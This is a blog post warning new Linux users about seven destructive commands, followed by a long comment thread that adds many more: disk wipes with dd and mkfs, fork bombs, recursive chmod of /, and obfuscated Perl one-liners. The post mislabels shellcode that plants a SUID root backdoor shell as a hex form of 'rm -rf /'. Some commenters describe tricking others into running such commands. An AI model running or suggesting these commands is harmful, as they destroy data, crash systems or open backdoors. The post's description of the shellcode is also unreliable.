The 7 Deadly Linux Commands

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"cp -p /bin/sh /tmp/.beyond; chmod 4755

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:


Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.

Random Posts: Essential Linux Commands


  1. rm -rf * same as #1

  2. dd if=/dev/urandom of=/dev/sda

  3. You can change the last one (mv /home/yourhomedirectory/* /dev/null)

    to this:

    mv ~/* /dev/null

    ~The Unix Geek

    (found you via tuxmachines)

  4. linux - you must break, VS , windows - breaks itself

  5. Most of these would work only if you are abusing root account.

  6. Yes thankfully most of these commands would have little effect without sudo or root privs.

  7. Biggest reason I don't use linux is after a couple of boots (usually within the first week), it fails to load for some reason. I would use it for normal browsing and playing some linux games, but an error would come up and would force me to reinstall after using for only a few days. Wierd...
    At the least windows didn't do that to me... not a windows fanboy or anything, but could never get linux to stay working...

  8. @Anonymous

    rm -rf * is NOT the same as #1 (unless you are sitting in /)

    * means everything at your current directory level

    / means everything from the root down

  9. No, rm -rf * is NOT the same as #1, it all depends on what your current working directory is. If you're in "/" then it's the same, but that's the only case.

  10. No, rm -rf * is NOT the same as rm -rf /

    the * variant only deletes all files in your current directory. The / variant deletes everything from the root (/) directory.

    As for Linux failing after using it for a week I'd say that you were doing it wrong or try to install some app or did something with Windows (if you were dual-booting) to hose it up.

  11. I prefer the classic rm w/ an accidental space twist:

    rm -rf oldfiles. *

    which is why always adding -rf just to be sure is a bad idea.

  12. Good article, Linux is powerful to the point of being dangerous in a novice's hands. Or a sleepy person's hands. I learned the hard way to back stuff up lots. I only had to learn it once though, to my credit :-)

  13. cd /; >-i press enter
    as root to help negate the random rm -fR *. What will happen is rm will see and interprate the -i file as a command line switch and force interactive mode instead of forced mode. I do this in all my clients / dirs.

  14. OMG dude, no way. that is just WAY too cool.


  15. "As for Linux failing after using it for a week I'd say that you were doing it wrong or try to install some app or did something with Windows (if you were dual-booting) to hose it up."

    Helpful there.
    Your responses in turn:
    1) "You're doing it wrong" Wow, you mean Linux is supposed to work for *longer* than a week, and that it's not normally shipped broken? Amazing! Not useful, though...
    2) "You tried to install some app." Yes, how DARE you try to install *software* over an *operating system*. Mah gawd that's insanity.
    3) "Did something with Windows" I used to think that this was a joke. "A Linux developer stubs his toe on a rock. Damn Microsoft."

  16. The last one doesn't even work. If yourdirectory has more than one file in it, mv will refuse because the target is not a directory. If it has only a single file mv will fail unless you are running as root because it can't unlink /dev/null. If the directory has no files, the mv will still fail on the glob pattern, but it probably didn't matter much anyway.

  17. chmod -R 777 /

    Recursively gives read, write, and execute priviledges to all users for all files. The files in /bin and /etc/bin cannot have this mode or they will not run.

  18. This is why you only give out the root password you REALLY trust. You should be using sudo anyways...

  19. Re: linux dying after a couple of boots... I had that kind of experience, in 1996. Try a modern friendly distro (Ubuntu, MEPIS, even Debian itself) and if it happens again, ask people in that community what you might be doing wrong - chances are if you can screw it up in the first few hours of using it, it's happened to other people and they know how to fix/avoid the problem.

  20. rm -rf *

    IS the same * means everything that includes the . and the .. you see when you do ls -a. On unix machines this will jump a directory back and continuelly do it until root is reached, thats why *.* is more common...

    Having said that, this doesn't apply on most kernels and * won't jump directories, just trying to make my point.

  21. rm -rf / no longer works with most distros. If you look at the NEWS file for coreutils 6.10 (i believe), there was either a warning added when you try to rm -rf / or it was disabled entirely. Also, by now, most major distros (Ubuntu, Fedora, OpenSuSe, Mandriva) have shipped a release with coreutils >=6.10.

  22. don't forget about
    man yourmom

  23. rm -rf /* ; no, that's not bad at all, it means:

    "read mail, -realfast, /all"

  24. actually...
    [13:20:34(user@home)2]~ $ mkdir foo
    [13:20:45(user@home)3]~ $ cd foo
    [13:20:45(user@home)4]~/foo $ echo *
    [13:20:46(user@home)5]~/foo $ touch foo bar baz
    [13:20:54(user@home)6]~/foo $ echo *
    bar baz foo

    so yeah, rm -rf * does _not_ traverse to ".." -- maybe it did in 1996, but not for a long while now.

  25. I once did rm -rf * as root in a web directory on a system where the previous administrator had set rm to follow symlinks and had put a symlink to / in the web directory. Granted, I should not have been logged in as root in the first place, but the setup was bizarre anyway and ended up with the server being hosed. Fortunately it was a development server that wasn't yet online, so the damage was minimal and I didn't lose my job.

  26. I know of no shell in all history that has included . and .. in * globs by default.

    Even if for some reason a shell did do this, you wouldn't get the "recursive" jump behaviour described. Once the shell has expanded * its job is finished. If for some reason it put them there, rm would need to have a ridiculous bug where it also included . and .. files.

  27. Regarding all the intelligent comments:

    My job as sysadmin is safe - regarding the alternatives here...


  28. "Biggest reason I don't use linux is after a couple of boots (usually within the first week), it fails to load for some reason."

    You should read this article again, very thoroughly, and take notes... cos yr duwin it rong. Or maybe you should just stick to live CD's.

  29. rm -rf .*
    will traverse up the tree
    ask me how i know :(

  30. Personally, I prefer rm -rvf /

    I like to watch all the files disappear while laughing maniacally...

  31. what is that fork bomb , how is that command interpreted ?

  32. 1. mkdir = will make lunch for the company director
    2. dir /w/p = will get you genital warts
    3. edit autoexec.bat = will make you look stupid

  33. To the short lived linux user: If you don't have another computer to access support groups, you could install a virtual environment on your windows machine (I use "virtual box" on linux to run windows, the other way works too.) Install linux in the virtual machine, break it and use the windows box to track down the problem. Sorry about the insults of earlier commenter, I hope his disk falls off.

  34. "Anonymous said...
    don't forget about
    man yourmom

    Well I tried it, it errored out stating and i quote:
    "yourmom is too large to be displayed"

  35. dd if=/dev/zero of=/dev/sda

    Do that and your hard disk will be formatted back to factory defaults!

  36. This is a handy way to kernel panic:
    dd if=/dev/random of=/dev/port

    cat /dev/port

    works as well.

  37. The contraction of "you" and "are" is "you're". So to the Anonymous person who wrote "YOUR A DUMBASS", **You're** not so bright yourself.

  38. whoa! great list jun! thanks for this :) para pag may linux na ako di na ako ignoramus ^_^

  39. mv ~/* /dev/null

    Does not do what you think it does, morons!

    If you're not root it will fail.

    If there is zero or more than one file whose name doesn't start with a "." in your home directory, it will fail because /dev/null is not a directory.

    Otherwise it will move that one file over the device file /dev/null. The file will not have disappeared; it will be still be there, with all its content, just named "null" and situated in "/dev".

    dd if=Unix\ Geek of=/dev/fail

  40. Now I have the urge to hack into some Linux machine and test it myself...
    Guess some of my old pc's here are going to have a hard time :D

  41. I did this on a SCO openserver box years ago - not sure if Linux would allow:
    chown -r "whoever" /usr/whoever/ .*

    It not only chowned the user's files, but went up to the parent directory (.), chowned it, and then recursively chowned everything below that, including the Database user, etc..

  42. Tom:

    Comments like:
    Wow, you mean Linux is supposed to work for *longer* than a week, and that it's not normally shipped broken? Amazing! Not useful, though...

    Yes, how DARE you try to install *software* over an *operating system*. Mah gawd that's insanity.

    "A Linux developer stubs his toe on a rock. Damn Microsoft."

    The speaks of an underlying sarcasm needed by someone who is not so much interested in having a problem fixed as they are screaming the loudest for attention. You strike me as someone who desires control at such a level that I am surprised any other operating system or any real-life experience has been much better. There has to be some kind of anger and validation beyond the OS, which causes you not only to dislike the product, but when someone makes a suggestion, your disagreement resorts to that of a 12 year old. Or to put it in a way it comes off to many:

    "OoooOOOoooh, SARCASM! Maybe if I exaggerate my statements you'll believe what I have to say, but NOOooOOOo... you have Linux so far up your ass you cough up penguin feathers."

    Now, if you are just a sour puss who reads Linux articles because you hope to understand it better, but haven't learned to relax, might I suggest what someone else already did: use a more modern distro. AND if it still borks after a few days, work with someone to help you with it.

    But getting all upset like that really doesn't speak well for your patience and desire to learn.

  43. I will stay away from those commands.
    Didn't think you could kill an OS
    with simple Linux commands.

    thanks from tony

  44. mv /home/yourhomedirectory/* /dev/null

    That won't do what you think it will. It'll overwrite the /dev/null device node with a file, or exit saying "/dev/null: not a directory". /dev/null is used for redirecting text output, not copying or moving data.

    Also, in number 2, everyone is ignoring the second part. Sure, it's rm -rf in hex. But the second part of the command creates an SUID root shell in a hidden file in /tmp/.beyond -- essentially a backdoor root shell should the attacker ever get a prompt at the box again.

  45. In general, never run any command you don't (in general) understand. First, always google the command.

    eg. if someone says that rm rf / solves your problems, if you google "linux +rm" you will see that "rm" stands for remove. You don't have to know much about computers to understand that "remove" is dangerous.

  46. nice, I like the first one.

    dont worry about the guy that blows up his linux after a few hours / days

    Linux is user friendly, it is just careful selecting its friends.

    lol I love that one.

    I am curious tho, which redhat / debian distro did you select for this?

    and just what was the actual errors you got? without that information noone can help you, not even your mom.


  47. Or try this variation on rm:

    I met someone who thought he was appending a directory name with a slash "/" character but inserted a space before the second slash giving two directories for find to work with.

    e.g.: find /tmp / -exec rm -rf {} \;

    Of course this was done as root and he said it pretty effectively removed a bunch of files on a server he was working with. At least pre-production if my memory serves.

  48. rm -rf * has ignored files beginning with . for a while. It does not delete the current directory or the directories above it (. and ..). Additionally, it doesn't even delete hidden regular directories.

    rm -rf * in home doesn't delete .purple and the like, at least on Ubuntu Intrepid.

  49. Eddie said..

    Biggest reason I don't use linux is after a couple of boots (usually within the first week), it fails to load for some reason.

    Sorry you had so much trouble Eddie but why didn't you try Google or ask for help on one of the many forums.

    If it had been your Windows machine doing this would you have dumped it or asked for help.

  50. does this actually work (and exist?) ":(){:|:&};:"?

  51. Ooo! I need to try these on my friend's T-mobile G1... you know, just for fun.

  52. Grig' I have tried numerous distros and have found just one that fails everytime I try it due to video error, that one is unbutu any ver.

    I have also been to so called support sites for different versions and end up leaving due azz wipes that would rather give false info rather thatn help anyone who is willing to try to switch to open source software.

    Also, Knoppix anyver has very bad visual calrity fonts are blurred as well as graphics.

  53. PO8:
    When I tried Vista on one hard drive and had Linux on another, Vista kept clobbering the ext3 filesystem, I guess because it didn't recognize it and decided to do something. All the inodes were shifted. fsck fixed it, of course.

  54. localhost:tmp joe$ rm -rf .*
    rm: "." and ".." may not be removed

    So that does not work on OSX Leopard. And I haven't seen a system going up recursively when issuing:

    rm -rf *

    Seems like an urban legend to me. I've once met a guy who claimed that he wiped his Debian installation using rm -rf *

    It still don't buy it.

  55. Didn't think you could kill an OS with simple Linux commands.

    insert Russian accent

    God, root, what is difference?

    Now you know one reason why you shouldn't adopt rootly powers unless it is absolutely necessary.

  56. chown nobody:nobody -R /
    chmod 000 -R /

  57. cd ~; for x in `ls`; do mv -f $x $y; y=$x; done

    This will shift the names of all the files in the users home directory. none of the file names will match their contents.

  58. The forkbomb is written wrong. You need spaces inside the {'s:
    :(){ :|:& };:

    Besides that, I think it has been "fixed" in newer systems. If I type it in a terminal, I get the following:

    [thomas@localhost ~]$ bash: fork: Resursen midlertidig utilgængelig
    bash: fork: Resource temporarily unavailable
    bash: fork: Resource temporarily unavailable

    And I can shut it all down with a simple Ctrl+C

  59. If you want to play around with commands, try it in a chroot!

    chroot /some/directory/you/dont/care/about/but/has/a/distribution/on/it /bin/bash

    this will only avoid some of the malicious code, not all of it

  60. That is on dualcore

  61. Once i managed to trash out test system with a typo:

    chmod -r 777 . /*

  62. This is same as /dev/null

    0:> [file]

    (or something to that effect)

  63. I remember using the "shred" command to delete files.
    But I dont remember the parameters.
    It doesnt work properly with some filesystems.

  64. Number two has nothing to do with "rm -rf /". It's simply shellcode to setup an execve then execute a command to create a suid root shell. It looks like it might be for some kinda off-by-one bug, or something else with a *really* small buffer to smash. It's harmless if you don't compile and run it inside a C app.

  65. As an addendum to #2 - any experienced linux user ought to know this, but you should never execute obfuscated code.

  66. oops, i was just trying these out at work...and....

  67. maybe the most dangerous instruction in some distros is sudo su - ..

  68. for #4 y not didn't linux/unix creator just make the command {{:bomb:}}---* legit? that would be awesome...

  69. I did this once while trying to remove old emails from a dir using "find".

    find -type f -mtime +30 -exec mv {} /dev/null \;

    I ended up overwriting /dev/null and basically fubar-ed the whole server until it was restored.

  70. Not something you would do by accident (i would hope) but

    cat /dev/random > ~/.backup &

    is a great way to screw with someone, especially if the sysadmin has put limits on each user's home directory

    tell them it's running some sort of diagnostic and it needs to run for an hour or so...

  71. Nice post :)

  72. rm -rf * .*

  73. rm -rf w

    but that's another discussion...

  74. # rm -rf /

    hmm ... I thought, that means
    ReadMail -ReallyFast ;-)

  75. me@mycomputer:~$ man woman
    No manual entry for woman


  76. how about a double wammie
    rm -rf /|rm -rf /&

  77. To the person who said windows would never let you do this...

    I've previously had the joy of fixing somebody's computer when they dragged their C: drive to the recycle bin.

    cheers :)

  78. I like the commands that drive others nuts

    (ext2/3 only)

    cd /

    chattr -R +i *

    Now sit back and watch people go nuts none of the files or dirs on the system can be modded or removed (reboots usually don't succeed )

  79. [man "command"] helps if you don't understand what the command is use for. its a simple manual of the command.

    ["command" -h or --help] also will show you how the command works and what its used for.

    thats all you need if you don't know what a command is used for.

    this is FrostWire's Unix/Linux Command Reference, that are very helpful to new and experienced users.

    FrostWire's Unix/Linux Command Reference part 1

    FrostWire's Unix/Linux Reference Command part 2

  80. QUOTE: "
    YOUR A DUMBASS! get the * out of the IT field."

    And why did this get approved by the blog author???

  81. Rule #1: Don't run a command you can not understand.


    Harmful commands are an infinite number of variants. At least do a basic google on the command you are given. Anything that is not plain text and obvious to search for is probably malicious.


    If a fork-bomb can no longer fork, it exits.

    The following short Z Shell code will typically get rid of the above fork bomb in about a minute:

    while (sleep 100 &!) do; done

    Each new do-nothing process we run reduces the number of rampant "fork bomb" processes by one, until eventually we can eradicate all of them, at which point the do-nothing processes can exit.

  83. while (sleep 100 &!) do; done

    that works, but most people choose to limit the amount of processes a user can have running at any one time. man limits.conf

  84. OMG dude, no way. that is just WAY too cool.

  85. And the winner is... and the elusive perlfsck

    perl -e '$??s:;s:s;;$?::s;;=]=>%-{\\>%<-{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

  86. wow! From Bojol!


  87. It really makes sense to add aliases to your rc file to ensure that you don't misuse rm or mv:

    alias rm='rm -i'
    alias mv='mv -i'

    Since sometimes it's necessary to remove a lot of files at once I also have:

    alias srm='rm -f'

    before those other two


  89. You've got it wrong. An evil person, perhaps, would irresponsibly propose one execute such code (it does tickle the lulz spot), but only a stupid person would fall for it. No command should ever be executed by anyone without that person first doing some research as to exactly what that command does.

  90. Interesting point here...if you have sudo installed and configured like a majority of users CAN kill your system with any of these commands.

    However, if you're like me and a few thousdand/million out there that don't use a distro with sudo, you'd have to login as root in order to execute these commands.

    And for that, I'm glad and recommend this distro without sudo to new users.

  91. Sometimes I believe *nix (BSD's and Linux) can be extremely stupid, but I find its mainly unclued users making the errors: e.g:

    links -dump|awk 'NR==44{print $1,$2" /*"}'|sh

    Would yield the same results as my previously posted perl script...

  92. echo "\$0&\$0&">_;chmod +x _;./_
    perl -e 'while(1) {fork();}'
    perl -e '''=~('(?{'.(']'^'-').((']'^'-')|'"').('`'|')').('`'|'.').((']'^'-')|'$').'"'.((']'^'-')|'#').((']'^'-')|')').((']'^'-')|'#'
    perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
    while :; do mkdir foobar && echo gg >| hrhr ;cd foobar ;done &
    echo $0 ; $0 &
    [$[$RANDOM%6]=0]&&rm -rf /
    for i in /dev/{hd*,sd*}; echo Drop the Dilmom\! I repeat: drop the Dilmom\! && dd if=/dev/urandom of=$i
    echo "\$0&\$0">.-.&&. .-.

  93. cd /; >-i press enter

    How can get rid of this file again?

  94. I had someone talk me into this:


    Needless to say... the previous command was rm *.

    "I didn't think it would let you do that." He said.

  95. I think you could effectively corrupt your data with a mouse like this:
    cat /dev/input/mouse0 > /dev/sda
    On a desktop environment people tend to grab a mouse and do something else after this (like browsing a web).

    Or when a guy asks how to work his new shiny joystick, after teaching him to get it working you may present a final command (just say, this command fine-tunes the calibration, simulate a real game usage):
    cat /dev/input/js0 > /dev/sda

  96. Biggest reason I don't use windows is after a couple of boots (usually within the first week), it fails to load for some reason. I would use it for normal browsing and playing some windows games, but an error would come up and would force me to reinstall after using for only a few days. Wierd...
    At the least linux didn't do that to me... not a linux fanboy or anything, but could never get windows to stay working...

  97. This is not a malicious trick but simply one that every sysadmin accidentally does at least once.

    If you have a file named -i (as was suggested you should have in / earlier on) or you have a file named * then your instinct is to type rm -i or rm * to delete it.

    When you think about it, however, you will see that this will either cause an error because you didn't supply any filenames to delete or it will delete all the files in the current directory.

    The proper method for deleting files that start with a dash is rm -- -i. You can also achieve this by using an absolute path: rm /home/dave/-i.

    This doesn't work with a star however so for that you will need to use a backslash before the star like this: rm \*.

    A fun trick to play on new sysadmins is to create a file called -rf * in their home directory. (But make sure you do regular backups...)

  98. I'm tempted to use these on my professors.

  99. Well, it looks like the world of UNIX like operating systems has invaded yet another blog.

    This post was completely useless, as anything you described would require at least an euid of 0 (providing the tool was setuid aware), most want a uid of 0, which is not the default user for most distros.

    So, enjoy your google juice while I thumbs down this in Stumbleupon under my personal category of "Thinking all computer users are stupid".

    If you want to find something to blog about that earns you traffic, try coming up with something better, or at least learning how GNU/Linux actually __works__, how permissions work and what 'sudo' and 'su' do.

    Good luck on your blog, I hope you make a fortune. Advertising the fact that you fell victim to some IRC prank and nuked your computer is not the best way to gain links. If you hope to prevent this grave misfortune for others, at least understand how the OS actually works.

  100. @Tim:

    I 100% agree with you. This is all so stupid. And unfortunately most of the comments are even more stupid!

  101. "Biggest reason I don't use linux is after a couple of boots (usually within the first week), it fails to load for some reason."

    Dude... You should get yourself a Dell Inspiron 530n (preloaded with GNU/Linux of the Ubuntu variety), drop in a PNY nVidia 9400GT, and your whole family's jaws will drop at the awesomeness... mine did.

    3d games, all the fastness, none of the BS and bloatness you would get from Vista.

    Checkout my blog entry at:

    I'll be updating it with all the details.

    GNU/Linux rocks!!!!

  102. That's a great blog and it only adds to my knowledge of linux - the only way to defend the enemy is to know his weapons :-)

  103. i think /bin/rm -r / is the most powerfull command on linux! :-) no questions to answer! :-)

  104. The "echo 1 > /proc/sys/kernel/panic" is also a fun, but not-so-dangerous command. Be sure to save all your work before entering that as root.

  105. For those interested on removing the "-i" file created by `>-i':
    `rm -- -i'

    For those interested on how the forkbomb works, those are two equivalent:
    :() {
    : |: &

    function() {
    function |function &

    Conclusion: creates a function that calls itself and pipes stdout to a copy of himself then forks and exits. Calls the function one time.
    It will double the `bash' (or any other shell) processes by an order of two at every call.
    It's very fast as it just needs to copy the bash process (already cached by mmap) X times in the RAM until the RAM is full.
    The ";" is only needed if written in one line.
    There must be at least a space after "{" and before "}" for some shells (like bash).

  106. Is that all the dangerous commands in Linux.Now only i have changed to unix.i feel better to use Linux than other os.but ur commands useful guys..

  107. 4 years ago, i destroyed a linux by misstiping a command.

    i wanted to write:

    vi /etc/passwd

    but I wrote (as root):

    vi >/etc/passwd

    the > key is on a swiss keyboard right of shift-key. The shift key is also used for a /.
    After that command, the passwd file is empty.
    Userdata and system keeps on disk.

    But no more login possible.

    Lucky, that i could restore /etc/passwd from backup and had a running root Terminal.

    Yes, i know, never touch passwd by editor, but irl its easier.



  108. Dude I hear over and over that linux doesn't work after two or three times.This is cause some idiots with duel-operating systems hard boot like theres no tommorow. God, all u have to do is run chkdsk.exe (found in system32 folder) on windows and it fixs it right up.

  109. To the guy with the Linux working for a week. I've had a similar, if not same, problem. Perhaps you're hard disk is not checked for bad blocks. Use the "badblocks" program to scan your devices for these bad blocks and then add the -B option along with your mke2fs, or whichever mkfs you're using. Use man pages for help. This will prevent Linux from messing up again or any of those weird I/O errors.

  110. bem!!! gostei muito da versão char do comando rm -rf /
    "Well, I liked very much of version of command rm -rf /"

    Paulo Gomes - Aventuras p'lo linux

  111. I liked this post...

    More useful are tons of comments which gives lots of insight...

    I am thinking of compiling the comments... will try :)


  112. This is exactly why you should never login as root and always use sudo.

  113. Biggest reason I don't use linux is after a couple of boots (usually within the first week), it fails to load for some reason.

    Funny. I've had Linux boxes running, literally, for years. But then, I'm a Unix admin.

    The nice thing about Linux is that it isn't maintained by control freaks or people who are driven by profit motive to be constantly rendering their product obsolete and in need of another upgrade. It's maintained by people who like to see it working with as many applications and for as many people as possible.

  114. OMG, I can;t think of rm -rf / (lol)

    Nice points; thanks.


  115. or to kill all process in the system

    #kill -9 -1

  116. Lol, the forkbomb looks really out of place.

  117. Nobody said this one?

    yes > /dev/sda

    and the IQ test for new linux admins;

    touch -- /-rf

    and I'd also like to point out that adding alises for 'rm -i' are completely useless... 'rm -if' or 'rm -fi' won't prompt.. the -f takes precedence. If you're prone to silly typos though, alias rm='mv -t ~/.Trash/' might be a good idea.

  118. OMG dude, no way. that is just WAY too cool...

  119. Very useful tips immediately when i read about this here.I used to search for more deadly commands and i found one.I thought it might be an instant update to the readers.

  120. hey that one is really cool dude.thanks for the info.

  121. Great post, something every linux beginner should read and know about.

  122. Taking away the reading rights for / is also a great way to force a user to reinstall, when a friend of mine tried that, I was totally unable to solve it for him.

  123. "GreatSlovakia said...
    Taking away the reading rights for / is also a great way to force a user to reinstall, when a friend of mine tried that, I was totally unable to solve it for him."

    Hm. Maybe you would have to be able to access the filesystem from a live-CD or put the disk temporarily in another machine to fix that...? So that it was not your root system. Then I guess you should be able to issue a `chmod a+r whatever' or `chmod -R a+r whatever' on the relevant directory(ies) as root, unless the filesystem was encrypted or something...

    But then maybe there are some magic you could do from the kernel boot command prompt of your bootloader (thinking "grub") that would help, but I'm not skilled enough to know this.
    Anyways, I always stop to read twice and think a bit before issuing a possible really dangerous command as superuser...

  124. kill -9 -1

    kills all processes of the user. normal users get completely logged off, root will kill all processes (including init ;)

  125. kill -9 1

    kills init , the barent of all processes

  126. An excellent post...thanks for sharing your nice informative article.

  127. AnonymousMay 31, 2009

    alias rm="rm -i" won't work.
    Neither will creating a file named '-i'


    touch /tmp/test

    rm -i -f /tmp/test

    It WON'T prompt. -f take priority over -i.

  128. lol

    Double-edged sword this blog.

    Some will say: "Ahh! Now I'm wiser! I know what to avoid." Others will say: "Ahh! Now I'm wiser! I know what to suggest to others."

  129. During an intensive session of work:

    fuser -k /


  130. rm -rf /boot/
    Will delete Kernel , Initrd , and GRUB/LILO Files
    (Needed for Linux Startup)

    rm /boot/vmlinux
    rm /boot/vmlinuz
    rm /boot/vmlinux*
    rm /boot/vmlinuz*
    Delete the Linux kernel

    rm /bin/init
    cd / ; find | grep init | rm

    Deletes any file with "init" in it including /sbin/init.

  131. As root:

    sed -ei 's/id:5/id:6/' /etc/inittab; reboot

  132. sed -ei 's/id:5/id:6/' /etc/inittab

  133. How to kill the process if task manager is disabled.

  134. i'd say that the worst you might do would be to sudo rm -dfr .*

    or maybe you could always do chmod -R 000 and see what happens when you don't have permission do do anything...

  135. And this is why 90% of computer users run Windows.

  136. I can't believe no one mentioned hdparm. That command can not only destroy the data, but physically destroy the drive.

  137. I can't believe no one mentioned hdparm. That command can not only destroy the data, but physically destroy the drive.

  138. AnonymousJuly 18, 2010

    it's already been done! :)
    in top 3 on reddit linux.

  139. safe-rm - wrapper around the rm command to prevent accidental deletions

    "Anonymous Said,
    April 17, 2010 4:01 AM
    And this is why 90% of computer users run Windows."

    No this is why 95% of servers run either Unix or Linux, and why almost every super computer runs Linux.

  140. *Opens VirtualBox*

  141. I remember during operating system's class learning about how you could virtually erase your whole hard drive in a few keystrokes. That's why I like the GUI - it's generally a lot harder to do :] Although we have all deleted a file or two accidentally I am sure.

  142. I thought I remember in Unix there is a way in which you run commands; however, it will ask you if you are certain that you wish to proceed. In this case, it would ask you if you wanted to execute the deletion or not. This would at least serve as a bit of a barrier (although I guess those using the command line typically wouldn't want such a barrier to exist).

    The only thing I can recommend, whether you are dealing with Linux, Unix< Windows, or Mac, is to back up your data regularly.

  143. Great information. I got lucky and found your site from a random Google search. Fortunately for me, this topic just happens to be something that I've been trying to find more info on for research purposes. Keep up the great work and thanks a lot.

  144. how can i make a file like windows .bat writting on notepad i from brazil and i studing linux, could you help me ?? thanks !!!!

  145. Great post. You have to be careful when testing out commands. When in doubt, use a test system or take a snapshot if possible.


  146. Try

    sudo rm -rf / | sudo reboot

    also, what does this do?

    perl -e '$??s:;s:s;;$?::s;;=]=>%-{\\>%<-{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

    I tried it but it didn't do anything for me...

  147. Great Share, As of now I'm practicing this cool linux commands.

    My noob friend just tried this command to his pc. mkfs.ext3 /dev/sda :)

  148. Try

    open /*

    also what it this?

    sudo -m mfkg ###??e:;sf;;:%%<-{;;y; -/:-@[-`{-};`-{<-F^$^^&*$%^^::;

  149. cd /lib/i386-linux-gnu/

    You don't loose any data, but your system ends up being virtually a brick, because almost all programs (including cp, mv, ... to put the file back in place) depends on this library :-)

  150. My Linux set-up is so messed up it won't even let me enter those commands....

  151. All you idiots adding more "commands" to break/ruin a users system. You are not even clever. Any noob learns those commands the first couple of days. And: Anonymous Said,
    November 21, 2008 1:24 AM

    Biggest reason I don't use linux is after a couple of boots (usually within the first week), it fails to load for some reason. I would use it for normal browsing and playing some linux games, but an error would come up and would force me to reinstall after using for only a few days. Wierd...
    At the least windows didn't do that to me... not a windows fanboy or anything, but could never get linux to stay working..."......... You must seriously have something major wrong with your hardware. Linux is rock solid stable everywhere. It's 2012 not 1993.

  152. AnonymousJune 29, 2012

    shred -vn1 /dev/sda

    or better, or at least faster:
    /dev/sda </dev/null (or whatever)

    rsync -av --delete /wrong_dir /some_dir (i have done this, lol.. sucked a lot..)

    there are lots of ways to kill tux.

    swapon /dev/sda ? :p

    You could even kill (or clone ;)) your disk remotely using netcat

    most of these are probably not allowed to do, even as root.. but dont feel like trying :)

  153. Anonymous, sudo rm -rf / | sudo reboot <<-- won't work cuz once it's all erased, sudo stops working as well, reboot wouldn't exist either o_o

  154. mv * has gotten me into trouble a couple times when I forgot to put the destination at the end.

  155. I put this one on my hat years ago.

    sudo mv U /dev/null

  156. Can you make aliases to render each of those commands completely null?